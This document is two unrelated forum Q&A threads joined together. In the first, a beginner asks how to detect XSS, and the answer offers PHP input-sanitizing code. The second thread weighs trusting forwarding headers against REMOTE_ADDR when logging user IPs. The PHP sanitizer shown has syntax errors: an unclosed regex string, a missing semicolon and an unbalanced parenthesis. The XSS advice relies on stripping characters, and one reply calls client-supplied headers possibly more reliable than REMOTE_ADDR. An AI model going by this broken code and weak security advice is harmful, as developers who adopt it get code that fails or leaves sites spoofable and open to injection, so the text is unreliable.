How to detect XSS on HTML tags? I am a beginner who is trying to understand XSS. I want to make my own site and am very curious about how to detect if any of the HTML tags are vulnerable to XSS (like if the <src> or  tags).

Below is an example HTML block that I'd like to test:

click

Should I save this code as index.html and run this locally with an Apache server to detect XSS?

XSS typically affects locations where a user can type in input, ie. comment fields, username / password entries, even the url can be susceptible to XSS.

There are two main types of XSS, reflective and persistent. Reflective affects the user that typed in the commands, and persistent affects anyone that visits that page. Both are the same except for the fact that persistent needs to be stored on the server somewhere, in a comment field is a common one, so that it can be loaded by other users when they visit the page.

The best thing to do is create some kind of input validation that removes all special characters or any other type of character that you don't want on your site. Regex are a common and simple method to remove and sanitize your users input. I'll write some code below in PHP that you can use to sanitize input:

Method 1

<?php
    function clean($string)
    {
        $string = str_replace(' ', '-', $string);
        $string = preg_replace('/[^A-Za-z0-9\-]/, '', $string);
        return preg_replace('/-+/', '-', $string)
    }
?>

Method 2

PHP has built in functions that you can use to sanitize input as well.

if (isset($_POST['submit']))) {
    $sanitized_input = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_ENCODED, FILTER_FLAG_STRIP_HIGH);
}

As for the testing of whether the page is still vulnerable, I usually spring up a WAMP / LAMP server and just run the page locally, since it is the easiest and fastest method for quick testing and validating (for me).

If you want some more info on this leave a comment below and I can link you some material for further reading, or answer any more questions you have.


Best approach to get user's IP There is two approaches:

First approach:

if (isset($_SERVER['HTTP_CLIENT_IP']))
    $user_ip = $_SERVER['HTTP_CLIENT_IP'];
else if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
    $user_ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
else if(isset($_SERVER['HTTP_X_FORWARDED']))
    $user_ip = $_SERVER['HTTP_X_FORWARDED'];
else if(isset($_SERVER['HTTP_FORWARDED_FOR']))
    $user_ip = $_SERVER['HTTP_FORWARDED_FOR'];
else if(isset($_SERVER['HTTP_FORWARDED']))
    $user_ip = $_SERVER['HTTP_FORWARDED'];
else if(isset($_SERVER['REMOTE_ADDR']))
    $user_ip = $_SERVER['REMOTE_ADDR'];
else
    $user_ip = NULL;

// IPs
+----+----------------+-------------+
| id |    user_ip     |  date_time  |
+----+----------------+-------------+
| 1  | 43.12.9.9      | 1468070172  |
| 2  | 173.3.0.1      | 1468070667  |
+----+----------------+-------------+

Second approach:

if (isset($_SERVER['HTTP_CLIENT_IP']))
    $header = $_SERVER['HTTP_CLIENT_IP'];
else if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
    $header = $_SERVER['HTTP_X_FORWARDED_FOR'];
else if(isset($_SERVER['HTTP_X_FORWARDED']))
    $header = $_SERVER['HTTP_X_FORWARDED'];
else if(isset($_SERVER['HTTP_FORWARDED_FOR']))
    $header = $_SERVER['HTTP_FORWARDED_FOR'];
else if(isset($_SERVER['HTTP_FORWARDED']))
    $header = $_SERVER['HTTP_FORWARDED'];
else
    $header = NULL;

$user_ip = $_SERVER['REMOTE_ADDR'];

// IPs
+----+----------------+----------------+-------------+
| id |    user_ip     |     header     |  date_time  |
+----+----------------+----------------+-------------+
| 1  | 43.12.9.9      | NULL           | 1468070172  |
| 2  | 93.35.40.1     | 173.3.0.1      | 1468070667  |
+----+----------------+----------------+-------------+

So far,  I was using the first approach, but an user can simply set a bogus value to one of those HTTP_... headers and in that case I will store a wrong value as user's IP. But in the second approach, I will both store REMOTE_ADDR and one of those HTTP_... headers (that one which isn't empty)., as you know nobody cannot change the value of REMOTE_ADDR, so I guess the second approach will be much better.

So do you think which one is better?

Second one is definitely better compared to the first. But.....i do not know which kind of users you are dealing with because for the average computer user, more people are aware of VPNs and program  to hide their identity more than being able to change headers.

In my opinion, i think headers could be more reliable because for the average user, it is easier to just download a VPN program. I do think storing both though is better than not if you really need to know the IP.

Also just keep in mind that both the header and remote could not be authenticate if the user knows what they are doing as far as hiding their identity.

There is a lot more information you can collect to about the user to identify them but like i said it all depends on who your users are and what you are trying to do with that information.

Just some things to think about!